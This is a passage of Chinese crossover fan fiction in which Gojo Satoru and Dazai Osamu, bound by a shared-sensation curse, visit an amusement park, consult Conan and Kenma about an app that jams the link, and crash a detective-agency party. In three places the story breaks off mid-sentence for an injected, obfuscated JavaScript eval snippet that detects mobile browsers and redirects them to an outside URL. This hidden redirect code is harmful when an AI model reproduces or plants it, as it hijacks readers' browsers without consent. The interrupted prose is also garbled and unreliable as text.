他微微侧头,望向狙击手消失的方向,冷静分析道:“刚才那一枪,目的性很强,但杀意不足。更像是一次测试,测试你的反应速度,测试无下限的防御机制,或许,也在测试我们链接在突发危机下的状态。”他的直觉向来很准。 五条悟轻哼一声,算是认可了这个判断,并补充道:“和之前,在东京塔的那次感觉类似,目的都是试探而非绝杀。但风格不同,武器有差异,不是同一批人。” 当然,被人当成实验对象反复测试,这感觉让他很不爽。 “那就让他们看个够,看到眼睛瞎掉为止。”他环顾四周,目光看向不远处……那里正传来阵阵尖叫。 五条悟直起身,大手一挥,揽住太宰治的肩膀,半推半拽地朝着那个方向走去:“走,我们去那边,把所有东西都玩一遍,特别是那些看起来要人命的。” 途经一个装饰得花里胡哨的小吃摊,五条悟停下脚步。 “老子要那个,最大的。”他指着一个彩虹色的棉花糖道。 太宰治瞥了一眼,嫌弃道:“五条先生,心理年龄是三岁吗?就这么喜欢这种只有糖和色素的混合物?而且你刚才已经买过一个了。” “你懂什么,甜食是这个世界唯一的真理,是支撑最强运转的必备燃料。” 五条悟利落地付完钱,接过那个比他头还大的棉花糖,迎着风,咬下一大口。他还掰下一块,递到太宰治嘴边:“尝尝?” “过量糖分是智商杀手……”太宰治皱着眉向后仰,不过,在五条悟的坚持下,还是勉为其难地接受了投喂。 “承认吧,你就是嫉妒老子的快乐如此简单。”五条悟得意地大口吞吃着。 太宰治看着他,眼睛里闪过一丝狡黠。 他趁五条悟专注于品尝真理,视线被棉花糖遮挡的瞬间,手指轻微一弹,一小撮摊位上的辣椒粉,便飘洒在五条悟手中的棉花糖上。 “啊,手滑。”太宰治语气无辜,眼神纯洁。 五条悟毫无察觉,又咬下一大口。下一秒,他僵住了,咀嚼的动作停滞,脸上的得意凝固,然后…… “咳咳咳……青、花、鱼,你加了什么?”他扯下墨镜,眼眶微红,被那突如其来的辛辣刺激得直咳嗽,表情扭曲地瞪着太宰治。 太宰治微笑着后退一步:“一点小小的调味,帮助五条先生清醒一下被糖分糊住的脑子。” 链接那头,传来五条悟喉咙火烧火燎的辛辣感,太宰治这边,则反馈过去一丝恶作剧得逞的愉悦。 五条悟气得想把手里的棉花糖糊他脸上,但犹豫了一下,最终还是愤愤地扔进了垃圾桶,骂骂咧咧往自动贩卖机冲:“等着,我去买瓶冰水灌死你!” 隔壁是碰碰车场,五条悟一眼就相中了场地中央,最闪亮、造型最嚣张的那辆火焰纹跑车款。 “看老子怎么用这玩意儿,把你撞得七荤八素!”他撂下狠话,长腿一跨坐了进去。 太宰治慢悠悠地绕场半周,选了辆靠在角落,豪不起眼的蓝色小车,优雅地坐了进去。 开始铃响,五条悟猛踩油门,他那辆火焰战车发出嗡嗡的轰鸣,直冲太宰治的角落而来,笑容势在必得。 太宰治看似毫无防备,手指还轻轻敲打着方向盘。 就在五条悟的车头,即将狠狠撞上他车身时,链接传来一种本能的预判——太宰治能感知到,五条悟大致的肌肉发力方向,虽然十分微弱。 他的手腕突然一旋,蓝色小车以一个近乎刁钻的角度灵巧滑开,火焰战车擦着它的边缘呼啸而过,因为冲势过猛又转向不及,一声巨响,结结实实地一头撞在坚硬的橡胶围栏上,整个车身都震了一下。 “呃……”共享的冲击痛感让两人同时哼了一声。五条悟揉着被安全带狠狠勒疼的肩膀,透过扬尘,怒视太宰治:“该死的!默契呢?我们不是有链接吗?” 太宰治稳坐在他那辆毫发无伤的小破车里,唇角微扬,说道:“谁要和你有那种东西?五条先生,我们是被迫绑定,不是自愿组队。” 五条悟气得牙痒,试图倒车再次发动攻击。 然而,还没等他调整好方向,三辆由精力过剩的小学生驾驶的碰碰车,已经默契地形成了包围圈,从三个方向“砰砰砰”地撞上他,将他牢牢卡死在围栏边,寸步难行。 孩子们发出了兴奋的尖叫。 “救驾啊混蛋!”五条悟转动方向盘,但都是徒劳。他只好对着好整以暇在一旁观战的太宰治喊道。 太宰治笑眯眯地看着他陷入重围:“救驾?那保护费可能要重新计算了,陛下。” 接连被摆了两道,五条悟气得牙痒,太宰治瞥他一眼,心里暗笑,这家伙还真是三岁啊,情绪全在脸上,一看就知道,肯定在盘算怎么扳回一局。 两人路过旋转木马区,华丽的金色顶棚下,音乐悠扬,木马上下起伏。 一群年轻女孩正为了最后两匹并排的漂亮白色木马该由谁坐,而轻声争执。 五条悟目光扫过,脚步一顿,突然举手,对着工作人员扬声道:“喂,那两匹白的,我们要坐。” 一瞬间,原本有些喧闹的木马平台安静了不少,所有人的目光都聚焦过来…… 一米九的时尚墨镜帅哥,和缠满绷带的清瘦俊美青年,这个组合,站在充满童趣和浪漫色彩的旋转木马前,显得格外突兀和醒目。 “那个……先生,这、这两匹是……是情侣专座。”工作人员是个年轻女孩,看着五条悟那副不好惹的样子,小心翼翼地提醒道。 五条悟眉头一挑,手臂伸过去揽住太宰治的腰,将人往自己身边一带,理所当然道:“看不出来吗?我们就是。” 太宰治身体瞬间僵硬,原来在这儿等着呢,杀敌一千,自损一千,这个家伙的报复方法真是清奇……但在外人面前,他维持住了脸上无懈可击的微笑,同时压低声音,用只有两人能听到的音量,在五条悟耳边低语:“您今晚的草莓牛奶,我会记得多加三倍洗洁精。” “乐意奉陪。”五条悟也压低声音回敬,手上力道不减,几乎是半抱着,把太宰治推上了其中一匹木马,自己则利落跨上旁边那匹。 音乐响起,木马开始缓慢旋转、上下起伏。 五条悟试图摆出一个酷炫又随意的姿势,奈何他身高腿长,坐在小巧的木马上显得格外憋屈,两条无处安放的长腿全部拖到了地上。 太宰治与他形成鲜明对比,他侧身坐着,一只手轻轻扶着柱子,身体随着木马的运动微微摇曳,眼神放空望着远方,出演一部文艺片似的。 “喂,笑死人了,你当这是在拍什么世纪末悲情电影吗?”五条悟忍不住吐槽,主要为了打破这种让他浑身不自在的氛围。 太宰治收回目光,反击道:“总比某个试图在儿童旋转木马上,硬凹硬汉造型,结果因为腿太长,而像只被塞进玩具箱的大型犬笨蛋要强。” 旋转木马一圈圈转着,周围投来的目光有好奇,有惊讶,也有善意的窃笑。 离开旋转木马,五条悟直奔一个射击游戏摊位。 摊位上挂满了各种毛绒玩偶,最大的奖品是一只几乎有半人高,毛茸茸的白色垂耳兔。 五条悟拿起摊位上的玩具步枪,在手里掂了掂,语气恢复了往常的嚣张,“想要哪个?没有老子打不中的靶子。” 太宰治随手指了指那只最大的白兔子,语气随意:“就它吧,看起来和五条先生的气质很配。”——都是外表具有欺骗性,内里可能一团糟,或者傻乎乎的。 五条悟嗤笑一声,没理会他的暗讽。 他端起枪,甚至不需要特意瞄准,六眼用来玩这种游戏,简直是降维打击。 砰砰砰砰砰!弹无虚发,每一个移动靶、每一个气球都应声而破,速度之快,令人眼花缭乱。 摊主的脸色,从最初的热情逐渐变得惨白。 毫无悬念,那只巨大的白色垂耳兔被递到了五条悟手中。他接过玩偶,看也没看,随手就塞进了太宰治怀里。 毛茸茸的触感瞬间淹没了太宰治的上半身,只露出一个脑袋。 “给,拿着。”五条悟扭过头,语气有些生硬,像是在掩饰什么。 太宰治抱着那个柔软得过分的巨型兔子,罕见地愣了一下。链接那头,传来类似于完成承诺后的满意情绪,像错觉。 他把脸埋在兔子柔软的长耳朵里,闷闷的声音传出来:“……这也太傻了。” 但他没有松开手,反而调整了一下姿势,抱得更稳了些。五条悟眼角余光瞥见,嘴角微微上扬。 这时,一个小女孩扯了扯太宰的衣角: “哥哥,你们是艺人吗?” 太宰蹲下微笑:“不,我们是……” “我们是情侣。他负责貌美如花,我负责打遍天下。”五条悟对小女孩眨眨眼。 小女孩懵懂点头:“那你们要幸福哦!” 走远后,太宰幽幽道:“您还演上瘾了?” 五条悟道:“气到你了那就好。” 太宰治:“您毁了一个孩子对正常人际关系的认知。” 五条悟:“我这是在帮她提前认识世界的多样性。” 吵吵嚷嚷间,他们来到了鬼屋门口。 这是一座以恐怖闻名的“颤栗迷宫”,医院主题,入口处阴风阵阵,消毒水味扑面而来。 “这种靠音效灯光和工作人员扮鬼吓唬小孩子的把戏……”五条悟嘴上依旧不屑,但经过之前的经历,他下意识地走在了前面半步。 太宰治跟在他身后,声音在昏暗的光线里带着笑意:“五条先生这次可要站稳了,别不小心把我往npc面前推。” 在停尸房那里,光线惨败,冷气森森,他们走过时,一个穿着染血病号服的npc,突然从铁柜里弹出来,发出凄厉嚎叫。 见状,五条悟自然是眉毛都没动一下。 结果太宰治却恰好因为地面潮湿,脚下一滑,手肘“不小心”撞在了五条悟后腰上。 npc没吓到五条悟,但这猝不及防的一个肘击,却让他踉跄半步,惊得差点跳起来。 五条悟龇了龇牙:“你绝对是故意的,青花鱼!” 太宰治无辜地眨眨眼:“抱歉,条件反射。谁知道‘最强’的胆子这么大,身体却这么……敏感?” 话语听起来如此真诚,链接却诚实反馈着太宰治恶作剧得逞的愉悦。 五条悟气得想当场把他按进旁边的尸体堆里。 经过一段完全漆黑的狭窄走廊时,太宰治突然低声说了一句:“左边。” 没有任何犹豫,五条悟侧过身。同时本能一般,动作极快地向后伸手,把太宰治拉到了自己身后。 这时,左边一个伪装的npc突然扑出,却因为五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543043|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条悟和太宰治没有像预想中那样,被右边的假动静吸引注意力,而扑了个空,甚至因为用力过猛,“咚”的一声,撞在了对面的墙上,发出一声痛呼。 五条悟在黑暗里挑眉:“直觉准过头了吧?” 太宰治的声音平静无波:“是链接,笨蛋。你刚才的动作,让我感觉到你会更注意右边,但是真正的危险在左边。” 短暂的协作,冲淡了之前的互相捉弄。在黑暗和潜在危险中,链接成了他们共享感知、弥补死角的唯一工具。 那一刻,他们像两只在未知洞穴中探索的野兽,背靠着背,暂时收起了对彼此的利齿,依靠着原始的感知共存。 从鬼屋出来后,夜幕已经彻底降临,游乐园亮起璀璨霓虹。 两人不知不觉,又走到了摩天轮下方。 “先生您好!” 太宰治被一对小情侣拦住了步伐。女生攥着手机,脸颊红扑扑的,男生挠着头笑:“两位先生,能帮我们拍张照吗?就站在摩天轮底下。” 五条悟闻言抬眼:“没空。” “哎别啊,就一张!我们纪念日!多谢多谢!”女生慌忙递手机。 太宰治微笑道:“五条先生,人情债。” 五条悟无奈:“啧,行吧。拍可以,不许笑太傻。” 女生搂着男生脖子,男生低下头。 五条悟露出嫌弃表情:“笑自然点,跟被掐住脖子似的。” 太宰治倒是配合,认真地帮他们对焦,调整角度,还微微侧身,替他们挡住穿堂风。 男生做出亲吻姿势…… “咔嚓!” 照片里,情侣亲密相拥,男生的吻印在了女生脸颊,女生眼睛弯成了月牙,温柔又甜腻。 “谢谢谢谢!这张能当屏保!”女生拿过手机,兴奋地鞠躬表示感谢。 男生红着脸道:“那、那我们帮两位先生拍一张?两位也是一对吧?我们刚才看到,两位坐旋转木马的情侣专座了。” 太宰治刚要拒绝,五条悟已经自然地勾住他肩膀:“来都来了。” 相机闪光瞬间,画面被定格。 两人都微笑着,五条悟推起墨镜,眼睛里好像有星光闪烁。太宰治耳尖泛红,笑容温柔,就是有点像被按着头吃糖的小孩。 背景里,摩天轮正缓缓转动,把两人的影子,拉成交缠的线。 “搞定,这张绝对能发朋友圈!”男生把手机还给五条悟。 “这张太好看了!两位哥哥都很帅,你们真是天造地设的一对!”女生也感叹道。 太宰治甩开五条悟的手,低声道:“谁要跟你拍这种肉麻照片啊。”他耳尖还红着。 五条悟看着手机里那幅岁月静好的画面,嘀咕道:“挺好看的啊。” 摩天轮的彩灯次第亮起,他们再次坐了上去。这一次,和匿名线索无关,更像对白天那场狙击测试的无声回应,以及心照不宣的决定。 车厢缓缓攀升,他们脚下是流光溢彩的乐园,还有远方蔓延的城市灯火。 玩了一整天,经历了狙击、恶作剧、尴尬和协作,疲惫感渐渐涌上,车厢内一片安静。 那只巨大的兔子玩偶,被放在两人对面的座位上,毛茸茸的,存在感十足。 五条悟看着窗外,忽然没头没尾问了一句:“喂,今天玩得……还OK吗?” 他的声音在封闭的空间里,显得有些低沉,不像平日里的张扬。 太宰治抱着膝盖,目光也落在窗外遥远的灯海上,闻言弯起嘴角:“还行,而且白得了个傻兔子。你呢?” 五条悟哼道:“如果忽略某人在碰碰车场见死不救,还有在鬼屋故意把我往npc面前推的话……马马虎虎。” 太宰治看他一脸傲娇加别扭的样子,觉得他有点好笑:“那您不是也活得好好的?” 车厢在最高点微微停顿,夜景在脚下铺陈到极致。东京塔在远方闪烁着红点。 两人之间的距离,因为车厢的布局而不自觉拉近,手臂几乎相贴。 链接传来温热平稳的触感,分不清是谁的体温,驱散了夜风的微凉。 五条悟突然摘下墨镜,转过头,苍蓝色眼眸在夜色和霓虹映照下,显得格外深邃,他看向太宰治,语气带着一种罕见的,不那么确定的认真,“喂,你知道吗?其实刚才……” “知道什么?”太宰治也转过头,眼眸子在昏暗光线下,像深不见底的湖水。 五条悟看着他,话到嘴边,却停下了。他看到了太宰治眼底那一丝了然,以及一点点警告的意味。 他扯了扯嘴角,重新戴上墨镜,将那过于直白的视线隔绝,语气恢复了寻常:“没什么。” 他重新望向窗外:“走了,回去还得让伊地知好好查查子弹的事,看看是哪个不长眼的混蛋,敢这么测试老子。” 但两人心里都清楚,有些东西,在一次次看似胡闹、充满对抗却又夹杂着意外默契的互动中,已经悄然发生了变化。 就像这游乐园的霓虹,再刺眼也掩不住夜色温柔。 当他们终于走出乐园大门,喧嚣被抛在身后,五条悟抱着手臂,看着太宰治费力地调整着那个巨大兔子玩偶的抱姿,忽然又说:“下次……” 太宰治抬起头,额发因为之前的动作有些凌乱:“下次找个正常点的地方?” 五条悟咧嘴一笑:“嗯,下次,我要吃双份棉花糖,而且不准加料!” 太宰治愣了一下,随即轻笑出声。 那一刻,连通过链接传递过来的情绪,都罕见地带上了一抹柔软而真实的暖意。 “看你表现。”他最终说道,抱着兔子,率先朝着停车的地方走去。 五条悟看着他的背影,又看了看远处依旧灯火通明的摩天轮,墨镜后的眼神复杂难辨,最终也迈开长腿跟了上去。 测试未必结束,麻烦远未解决,但至少这个晚上,不全是坏事。 31.第31章 几天后,五条悟和太宰治又被叫到了咒术高专的校长室里。 那颗子弹,初步分析结果出来了。 伊地知拿着报告,声音有些发颤:“五条先生,太宰先生……子弹碎片上的金属成分……检测结果出来了。是一种实验室合成的特殊合金,含有几种并未广泛使用的稀有元素。” “……数据库比对显示,其元素配比,疑似与……葛叶的实验室相关……” 葛叶,这个名字再次缠绕上来,阴魂不散。 太宰治轻声道:“这位先生,送礼真硬核啊。” “我们会继续跟进。这次请你们过来,还有一件事。”夜蛾正道对他们说道,表情一如既往的严肃。 家入硝子站在窗边,有点看好戏的意味。 夜蛾:“关于你们那个麻烦的链接,以及最近遭遇的一系列测试,我们找到两位……可能对此有帮助的外援专家。他们在某些特定领域的见解,或许能提供新的思路。” 五条悟原本懒散地靠在沙发里,闻言坐直了身体,眼罩后的眼睛也亮了起来:“外援?谁啊?是哪位隐居的老怪物,还是海外研究所的专家?” 他语气兴奋,显然,期待的是那种能一锤定音的神秘高手。 太宰治也微微挑眉,露出感兴趣的神色。 硝子慢悠悠地说:“人已经在会客室了,自己去见见吧。另外,记得对专家礼貌一点。” 五条悟立刻起身,长腿一迈就往外走,太宰治不紧不慢地跟上。 两人带着几分好奇和期待,推开了会客室的门。 然后,他们愣住了。 会客室里,只有两个人。 一个小男孩,大概只有7、8岁的样子,戴着黑框眼镜,穿着蓝色小西装,身高才到他大腿,正翻看着一本厚厚的资料,一脸严肃。 另一个少年,应该是位中学生,比虎杖伏黑他们大不了多少。他身型纤细,头发挑染成了金色,正低头专注地打着手中的游戏机,手指飞快按动,听到有人过来,也只是懒懒地抬了下眼皮。 五条悟脸上的期待即刻冻结,然后垮掉。 他难以置信地回头看了一眼跟上来的硝子和夜蛾,指着会客室里的人,声音拔高:“喂喂喂,开玩笑的吧?这是你们说的外援?就这?两个小鬼?” 硝子白他一眼:“刚说了让你注意态度!” 五条悟大步走进去,对着那个戴眼镜的男孩——江户川柯南说:“小朋友,这里不是玩侦探游戏的地方,快回家,看你的动画片去。” 又瞥了一眼还在打游戏的孤爪研磨:“还有你,游戏厅在隔壁街。” “大人的事不用你们管哦。”五条悟最后总结道。 “啊,原来是你们。之前在东京塔顶的……就是你们俩吧?”柯南看到五条悟和太宰治后脱口而出,带着孩童的嗓音,却说出了极其笃定的判断。 研磨的视线在五条悟那头标志性的白发和太宰治缠满绷带的特征上扫过,轻轻点头,声音没什么起伏:“嗯,视频里很模糊,但特征对得上。” 五条悟和太宰治同时屏住呼吸。 “什么东京塔?小朋友,我不知道你在说什么,想象力太丰富容易长不高哦。”五条悟挑眉,目光审视起来。 太宰治则弯起眼睛,笑容看似亲切:“小朋友,是不是认错人了呢?我们可是遵纪守法的好市民。” 柯南没被他们的演技糊弄过去,冷静分析道:“时间、地点、体型特征,尤其是五条先生您的发色和身高组合,非常罕见。加上当时塔顶发生的意外……概率超过九成。” 研磨默默掏出手机,调出一段视频,虽然模糊,但能辨认出两个瘦高身影和那头显眼白发,他沉默着把视频递到他们面前。 五条悟和太宰治:“……” 此时无声胜有声。 他俩心道:现在的小鬼都这么可怕了吗?人均侦探剧主角是吧? 柯南合上手中的资料,用那种与外表不符的成熟语气,开口道:“五条先生,太宰先生,根据现有情报分析,你们所中的双生缚诅咒,其运作机制,更接近于一种精密的能量回路,而非传统意义上的诅咒。它似乎能够采集,并放大特定的情绪波动,尤其是极端情绪,作为能量源。” 柯南无视五条悟微微愣住的表情,拿起旁边的一张纸,上面画着简单的波形图,继续说道:“我假设,诅咒作为一种特殊能量形式,也需要遵循能量守恒定律吧?” 他停顿须臾,又道:“持续的感知同步和情绪传递,尤其是高强度、高浓度的情绪——比如极致的痛苦,或者……” 他略显尴尬地跳过某个词,“……或者极致的愉悦,都可能被链接本身吸收,作为维持甚至强化它存在的养料。你们提供负面情绪,它给你们更多痛苦;你们提供……呃,正面情绪,它或许就给你们更多……奖励?形成一个自激循环,直到系统过载,然后‘俱焚’。” “所以,这不仅仅是你所谓的大人的事,五条先生。这是一个需要逻辑推理、数据分析和犯罪心理侧写的案件。而在这方面……” 他指了指自己,又指了指在平板电脑上调取数据的研磨,“我们或许比某些……只懂得用‘茈’轰平一切的大人,要稍微专业一点。” 研磨适时地举起平板,一边示意他们,一边说道:“初步分析,诅咒链接的底层架构……有被外部程序……干涉和引导的痕迹。有点像……被加了后门的系统。” 他放下平板,继续说道:“另外,通俗来讲,这个诅咒可能把你们当成了两棵能自己施肥、自己长大的韭菜,最终目的,是连根刨了炒一盘。” 五条悟张了张嘴,想反驳,却发现一时竟找不到词。 这两个小鬼的分析一针见血,逻辑清晰,甚至引用了硝子的数据,直接点出了他们之前虽有猜测,但未能完全证实的核心——对方的目的不是杀人,是测试和采集。 太宰治在一旁饶有兴致地看着这一幕,尤其是五条悟吃瘪的表情。 他轻轻鼓掌,语气带着赞赏:“精彩的推理,小侦探们。看来‘最强’的脑子,有时候确实需要一点外界的润滑剂。” 硝子补充道:“柯南君的逻辑推理能力,研磨君对能量波动的敏感和编程技术,都可能对你们的情况有帮助。” 五条悟回过神来,有些恼羞成怒地揉了揉一头白发,最终悻悻地坐在旁边的沙发上,算是默认了这两个小鬼的资格。 他嘟囔道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552807|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“行吧,你们说的有点道理。你们有没有什么办法,可以帮忙搞定这个链接?” 研磨闻言,将刚刚在摆弄的手机屏幕转向众人。上面显示着一个界面简洁,甚至有些简陋的APP。 “我根据之前捕捉到的能量波动残留,尝试写了个程序。理论上……可以短暂干扰特定频率的能量链接。” 房间内瞬间安静下来。 五条悟凑近,眼睛紧紧盯着那个APP:“哦,能关掉吗?” 太宰治也微微眯起眼睛:“干扰?听起来很有趣呢。” 研磨摇了摇头:“只能干扰,持续时间未知,效果也不稳定。而且……可能有未知风险,需要测试。” 硝子抱着手臂,语气严肃:“风险包括——对链接本身造成不可逆影响,或者对你们的精神产生冲击。” 夜蛾沉声道:“需要谨慎。” 但五条悟和太宰治对视了一眼,马上达成了共识。 五条悟扯出一个肆意的笑:“试试呗,老子倒要看看,这破链接断了会怎样。” 太宰治接话:“就当是为科学献身了,没关系。” 于是,在夜蛾和硝子紧张的注视下,研磨点击了APP上的启动按钮。 一瞬间,世界改变。 那种无时无刻不在的背景噪音——对方的情绪底噪、身体的细微感知、像第二层皮肤一样贴在意识上的存在感,骤然消失。 十分寂静,十分……孤独。 五条悟脸上的笑容僵住了,安宁已经久违,那种如另一个心跳般的共鸣不见了,他甚至下意识地抬手,似乎想抓住什么突然消失的东西。 太宰治则微微晃了一下,笑意收敛。一直萦绕在他身边,属于五条悟的那份存在感,像阳光一样庞大而灼人的生命力,一下子被抽空了。一直喧嚣的世界,突然变得无比空虚和空旷。 只有短短两三秒。 APP似乎耗尽了能量,屏幕一暗,链接如潮水般,轰然回流,带着加倍清晰的感知,填满了每一寸意识,冲得两人同时一个趔趄。 五条悟猛地吸了口气,像刚从水下浮出:“……哇哦。” 他甩了甩头,“这感觉……真他妈的怪,像突然聋了一下。”还有一句话他没有说……像被抽走了一根肋骨。 太宰治已经恢复了常态,他双手插在口袋里,语气好像平淡无波:“昙花一现的自由呢……不过效果显著,建议推广给所有觉得世界太吵闹的人士。” 但他垂在口袋里的手指,却微微蜷缩了一下,指尖冰凉。 “看来黑客小朋友的技术还有待加强,续航能力有点短哦。”五条摆弄着手机道。 太宰治望着窗外,脸上表情莫测:“但至少证明……这链接,并非不可切断。” 然而,在那短暂的阻断之后,一种难以言喻的情绪,悄然浮现在两人心底。 非庆幸,非放松。 而是失落。 仿佛习惯了某种持续的背景音,当它突然消失又回来时,才意识到那喧嚣本身,竟也成了存在的一部分。 剥离带来的空洞感,反而成了一根小刺。 原来最可怕的,并非离不开,是……竟然有点不想离开。 32.第32章 这款效果短暂的APP,就此成了两人手机里,一个秘密工具。 两人会偶尔把它点开使用,心照不宣,就像为了提醒自己,或者提醒对方,正常人的感受应该是什么样子,不要沉溺太深。 而研磨而柯南,则远程观察着数据流,偶尔推送一个优化补丁,默默挑战着这个永远无法真正通关,但乐趣无穷的现实副本。 几天后,太宰治回了横滨一趟。 武装侦探社内,正灯火通明,人声鼎沸。 “干杯!” 国木田独步脸上,难得带着纯粹的笑意,他举起酒杯说道:“这次能如此顺利地解决这起跨国走私案,多亏了大家的通力合作!” 他看向窝在沙发角落的太宰治:“尤其是太宰,你提供的那些情报,以及最后关头对密码的破解,至关重要。” 与谢野晶子豪迈地灌了一口酒:“总算说了句人话,国木田。太宰这家伙,偶尔也是能派上点正经用场的……虽然大部分时候,都只在增加我们的医疗支出。” 中岛敦开心地点头:“是啊太宰先生!这次真的帮大忙了!” 泉镜花默默地将一碟新拆开的蟹肉,推到太宰治手边。 太宰治晃着手中的酒杯,脸上挂着略显虚浮的微笑:“哎呀呀,能被大家这样夸奖,我都要不好意思了……看来离我期待的盛大的殉情仪式,又近了一步呢。” 就在这气氛融洽的时刻,侦探社的大门被人毫不客气地推开。 “哼,开派对都不叫老子?” 五条悟大摇大摆地走了进来,手里还拎着一个某高级甜品店的纸袋。 他无视了众人惊讶的目光,还有国木田瞬间黑下来的脸,视线落在太宰治身上:“啧,笑得真假。” 然后,他一迈长腿,几步就跨到了沙发边,挤开中岛敦,坐到了太宰旁边,将那袋甜品随手放在了茶几上。 “五条先生?”中岛敦愣愣喊道。 国木田的额角冒出青筋:“五条悟,这里是武装侦探社的庆功宴,不欢迎无关人员!我们需要杜绝计划外的不稳定因素!” 五条悟翘起二郎腿,手臂搭在沙发背上,几乎将太宰治圈在势力范围内。他咧嘴一笑,语气嚣张:“谁说我是无关人员?这次案子能破,老子也是有大功劳的好吗?” 此言一出,连太宰治都好奇地侧目看向他。 国木田狐疑地打量着他:“你参与了什么?我们怎么不知道?” 五条悟清了清嗓子,郑重其事道:“第一,在你们焦头烂额分析数据的时候,是老子提供了安静舒适的思考环境。我家这只麻烦的青花鱼,是在老子的地盘上——安全屋里完成的情报分析和密码破解。没有我的场外支援,他能那么高效率地工作吗?” 太宰治白他一眼:“五条先生,你那叫场外骚扰还差不多。老在我面前晃悠,不是邀我玩游戏,就是邀我吃夜宵……” 五条悟无视他的吐槽,继续说道:“第二,也是最重要的一点!” 他环视一圈,宣布道:“在案件最关键的七十二小时里,老子成功、有效、持续地——看住了这家伙,没让他因为无聊或者突发奇想,跑去跳河、上吊、或者喝洗洁精!” 他指了指太宰治,一脸“快夸我”的得意表情:“想想看,要是他在关键时刻掉链子,因为自杀未遂躺进了医院,或者干脆成功了呢?你们的案子还能破吗?你们的庆功宴还能开吗?所以,老子这可是从源头上保障了任务的顺利进行!这功劳,难道不大吗?” 整个侦探社陷入了一片奇异的寂静。 几秒钟后。 “噗……”与谢野第一个没忍住,笑了出来。 “不愧是五条悟,这理由……真无耻啊。” 中岛敦表情复杂:“好像有道理,但好像哪里都不对。” 泉镜花眨了眨大眼睛,似乎在认真思考这个逻辑的合理性。 国木田的脸彻底黑了,他捏紧了手里的理想笔记本,咬牙切齿道:“这算哪门子的功劳?这根本就是你作为链接对象,应尽的最基本监护义务!而且性质恶劣,是把太宰这家伙的自杀倾向,当成了功劳簿!” 太宰治本人端起杯子抿了一口,眼眸里闪烁着真实的笑意:“哎呀,被五条先生这么一说,我突然发现,原来我活着本身,就是对世界的贡献之一呢?” 五条悟对国木田的怒火毫不在意,反而拿起那个甜品袋,从里面掏出一个精致的草莓鲜奶蛋糕,塞到太宰治手里:“功劳奖励。” 然后他又自说自话拿起桌上一瓶红酒,给自己倒了一杯,对着还没完全反应过来的众人举杯:“行了,陈述完毕。现在,让我们为——成功阻止太宰治在关键时刻自杀,以及顺利破案,干杯!” 侦探社的成员们面面相觑,最终都被这歪理邪说的逻辑,和强大的厚脸皮给打败了。 与谢野率先举杯:“算了算了,看在他带来的甜点和……呃,独特的功劳份上。” 中岛敦也连忙举杯:“欢、欢迎五条先生……” 连国木田都在福泽谕吉社长一个微微颔首的默许下,不情不愿地举起了杯子。内心默念:为了大局,为了和谐,我忍。 五条悟理所当然地霸占了太宰治旁边的位置,一边挑剔着侦探社的零食储备,一边又自然地融入了这场庆祝之中。 太宰治小口吃着那块草莓蛋糕,看着身边这个强行闯入,用荒谬理由为自己表功的白发男人,轻轻摇了摇头,唇角却勾起一个微笑弧度。 这家伙,果然是个人渣啊……不过,偶尔这样,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564265|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎也不坏。 庆功宴继续进行,其他人员陆续加入,变得更混乱也更热闹,没过多久,混沌指数便直接飙升。 谷崎润一郎给森鸥外解释,为什么“细雪”不能用来给啤酒快速降温;与谢野请来了硝子,两人交流着某种听起来就让人□□一凉的治疗心得。 中原中也一脚踩在凳子上,举着一大瓶烈酒,瓶口直接怼到太宰治面前:“喝,混蛋太宰!今天不把你灌到用绷带吐泡泡,老子名字倒过来写!” 太宰治软绵绵地趴在桌上,像一条失去梦想的咸鱼,闻言,只是懒洋洋地掀了掀眼皮:“啊,是中也……好粗鲁啊……喝酒要优雅,优雅懂吗?像你这样,简直是在侮辱这瓶……呃,这是什么牌子的洗脚水?连自杀手册上都没有记载的死法,我是不会轻易尝试的。” “你说什么是洗脚水?这是老子珍藏的好酒!给我喝!”中也暴躁地就要直接灌。 就在这时,一只手伸了过来,按住了酒瓶。 五条悟凑过来,苍蓝色眼睛微醺,却亮得惊人,他脸上的笑容写着:“老子天下第一,且现在正要搞事”。 “喂喂,小矮子,欺负我家搭档算什么本事?有本事冲我来啊。虽然你跳起来,可能也打不到我的膝盖。”他的声音已经带着明显醉意。 中也挑眉,怒火瞬间转移:“哈?你家?谁承认了?还有,你叫谁小矮子?想打架吗,白毛怪!看来今天不止要灌醉一个,还得拆一个!” “代喝。”五条悟无视了他的挑衅,言简意赅,一把抢过那瓶酒,对着瓶口就直接灌了下去,动作豪迈得像是喝水。 他喉结滚动,大半瓶烈酒迅速消失。 全场瞬间安静了。 太宰治微微睁大了眼睛。“啊,要完。” 这是他脑子里闪过的第一个念头。 中也愣住了,随即露出看好戏的恶劣笑容:“……你确定?” 